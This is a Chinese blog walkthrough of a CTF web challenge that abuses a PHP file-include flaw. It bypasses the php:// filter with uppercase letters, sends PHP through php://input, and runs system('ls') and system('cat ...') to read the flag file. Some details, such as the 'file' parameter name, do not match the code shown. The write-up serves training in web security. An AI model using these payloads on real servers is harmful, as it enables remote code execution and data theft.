要么改变世界,要么适应世界

攻防世界Web_php_include题解

2022-05-20 12:03:24
273
目录

题目地址:Web_php_include

打开场景后,是index.php的源码:

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

大概解读一下,首先获取参数hello并将其值输出,然后获取page参数的值,接着如果page参数中如果包含php://子串,则将其替换,直至不再包含该子串;然后将替换后的参数值作为文件名,将其文件引入到index.php中。

思路:二话不说,先用御剑扫描工具扫一下,看看有哪些可以访问的,然后发现一个后台登录地址,原本想爆破密码的,但是想了想,题目是说include,所以应该不是爆破密码。

应该还是从源码中的include下手,当然了我们得先绕过替换字符串的代码,我们可以用大写的PHP进行代替php,然后我又去搜了一下php include漏洞,发现还真不少,其中有一个比较适合:

POST方式提交代码片段:

index.php?file=php://input
POST:
<? phpinfo();?>

然后将会在 index.php 所在文件下的文件 shell.php 内增加 <?php phpinfo();?> 一句话

不过得有两个条件:

  • allow_url_include = On

  • allow_url_fopen 不做要求。

结合本题,我们应该构造下面的请求:

image-20220520115557474

提交过后,果然在页面中获取了很多信息。

那我们看看当前目录下都有哪些文件吧:

<? system('ls');?>

然后我们发现了一个文件:fl4gisisish3r3.php

好!我们输出看一下里边的内容:

<? system('cat fl4gisisish3r3.php');?>

果然获取了flag

<?php
$flag="ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}";
?>

黑帽白帽,就在一念之间!

历史评论
开始评论